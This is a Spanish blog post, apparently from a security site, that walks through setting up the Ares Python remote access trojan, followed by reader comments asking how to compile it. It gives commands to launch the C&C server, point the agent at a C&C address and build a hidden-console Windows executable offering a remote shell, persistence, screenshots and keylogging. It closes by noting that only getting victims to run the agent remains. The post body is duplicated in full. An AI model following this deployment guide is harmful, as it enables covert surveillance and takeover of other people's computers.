Ares es un RAT (Remote Access Tool) escrito en Python. Se compone de dos programas principales:
- Un servidor de comando y control (C&C), que es una interfaz web para administrar los agentes
- Un programa de agente, que se ejecuta en el host comprometido, y garantiza la comunicación con el C&C
La interfaz web se puede ejecutar en cualquier servidor que ejecute Python, aunque previamente se necesita instalar el paquete cherrypy:
pip install cherrypy
El cliente es un programa Python destinado a ser compilado como un ejecutable win32 usando PyInstaller. Tiene como dependencias los módulos requests, pythoncom, pyhook y PIL (Python Imaging Library).
Actualmente soporta:
- shell cmd.exe remoto
- persistencia
- carga/descarga de archivos
- captura de pantalla
- keylogging
Instalación
Primero descargamos el repositorio:
git clone https://github.com/sweetsoftware/Ares.git
Luego creamos la base de datos sqlite:
python db_init.py
Y lanzamos el servidor:
python server.py
[09/Dec/2015:07:40:51] ENGINE Listening for SIGHUP.
[09/Dec/2015:07:40:51] ENGINE Listening for SIGTERM.
[09/Dec/2015:07:40:51] ENGINE Listening for SIGUSR1.
[09/Dec/2015:07:40:51] ENGINE Bus STARTING
[09/Dec/2015:07:40:51] ENGINE Started monitor thread 'Autoreloader'.
[09/Dec/2015:07:40:51] ENGINE Started monitor thread '_TimeoutMonitor'.
[09/Dec/2015:07:40:51] ENGINE Serving on http://127.0.0.1:8080
[09/Dec/2015:07:40:51] ENGINE Bus STARTED
Ahora configuramos el agente:
vi ./agent/settings.py
SERVER_URL = "http://192.168.11.128:8080"
BOT_ID = ""
DEBUG = True
IDLE_TIME = 60
REQUEST_INTERVAL = 2
Y con pyinstaller creamos el ejecutable:
D:\Python27>pip install pyinstaller
D:\Python27\agent>pyinstaller --onefile --noconsole agent.py
65 INFO: wrote D:\Python27\agent\agent.spec
342 INFO: Testing for ability to set icons, version resources...
822 INFO: ... resource update available
825 INFO: UPX is not available.
1083 INFO: Processing hook hook-os
1368 INFO: Processing hook hook-time
1447 INFO: Processing hook hook-cPickle
1675 INFO: Processing hook hook-_sre
2154 INFO: Processing hook hook-cStringIO
2606 INFO: Processing hook hook-encodings
2654 INFO: Processing hook hook-codecs
9250 INFO: Extending PYTHONPATH with D:\Python27\agent
9251 INFO: checking Analysis
9302 INFO: building because out00-Analysis.toc is bad
9302 INFO: running Analysis out00-Analysis.toc
9304 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
...
Por último, sólo nos falta conseguir que las víctimas ejecuten el agente...
En definitiva Ares tienen que mejorar bastante: el agente "pesa" demasiado y todavía hay que complementar y añadir nuevas características, pero sin duda se trata de una implementación de un RAT en Python interesante y bastante académica. No os lo perdáis:
https://github.com/sweetsoftware/Ares
- Un servidor de comando y control (C&C), que es una interfaz web para administrar los agentes
- Un programa de agente, que se ejecuta en el host comprometido, y garantiza la comunicación con el C&C
La interfaz web se puede ejecutar en cualquier servidor que ejecute Python, aunque previamente se necesita instalar el paquete cherrypy:
pip install cherrypy
El cliente es un programa Python destinado a ser compilado como un ejecutable win32 usando PyInstaller. Tiene como dependencias los módulos requests, pythoncom, pyhook y PIL (Python Imaging Library).
Actualmente soporta:
- shell cmd.exe remoto
- persistencia
- carga/descarga de archivos
- captura de pantalla
- keylogging
Instalación
Primero descargamos el repositorio:
git clone https://github.com/sweetsoftware/Ares.git
Luego creamos la base de datos sqlite:
python db_init.py
Y lanzamos el servidor:
python server.py
[09/Dec/2015:07:40:51] ENGINE Listening for SIGHUP.
[09/Dec/2015:07:40:51] ENGINE Listening for SIGTERM.
[09/Dec/2015:07:40:51] ENGINE Listening for SIGUSR1.
[09/Dec/2015:07:40:51] ENGINE Bus STARTING
[09/Dec/2015:07:40:51] ENGINE Started monitor thread 'Autoreloader'.
[09/Dec/2015:07:40:51] ENGINE Started monitor thread '_TimeoutMonitor'.
[09/Dec/2015:07:40:51] ENGINE Serving on http://127.0.0.1:8080
[09/Dec/2015:07:40:51] ENGINE Bus STARTED
Ahora configuramos el agente:
vi ./agent/settings.py
SERVER_URL = "http://192.168.11.128:8080"
BOT_ID = ""
DEBUG = True
IDLE_TIME = 60
REQUEST_INTERVAL = 2
Y con pyinstaller creamos el ejecutable:
D:\Python27>pip install pyinstaller
D:\Python27\agent>pyinstaller --onefile --noconsole agent.py
65 INFO: wrote D:\Python27\agent\agent.spec
342 INFO: Testing for ability to set icons, version resources...
822 INFO: ... resource update available
825 INFO: UPX is not available.
1083 INFO: Processing hook hook-os
1368 INFO: Processing hook hook-time
1447 INFO: Processing hook hook-cPickle
1675 INFO: Processing hook hook-_sre
2154 INFO: Processing hook hook-cStringIO
2606 INFO: Processing hook hook-encodings
2654 INFO: Processing hook hook-codecs
9250 INFO: Extending PYTHONPATH with D:\Python27\agent
9251 INFO: checking Analysis
9302 INFO: building because out00-Analysis.toc is bad
9302 INFO: running Analysis out00-Analysis.toc
9304 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
...
Por último, sólo nos falta conseguir que las víctimas ejecuten el agente...
En definitiva Ares tienen que mejorar bastante: el agente "pesa" demasiado y todavía hay que complementar y añadir nuevas características, pero sin duda se trata de una implementación de un RAT en Python interesante y bastante académica. No os lo perdáis:
https://github.com/sweetsoftware/Ares
Hola buenas! Tengo un problema al intentar compilar el agent. Estoy usando Kali linux (Por si influye de algo) y no consigo instalar todos los módulos, ya que hay un par que si se instala desde el comando pip, pero los demás, cómo hay que instalarlos? Saludos
ResponderEliminarHola si me explicas como compilas un script python te nombro el anonymous de los anonymou, formula mejor la pregunta y con suerte alguien te contesta...
ResponderEliminarCon pyinstaller, me dice que no se encuentra el módulo pythoncom. Estuve buscando y encontré un sitio donde decía que venía con ActivePython, pero sigue sin funcionarme. Saludos!
ResponderEliminar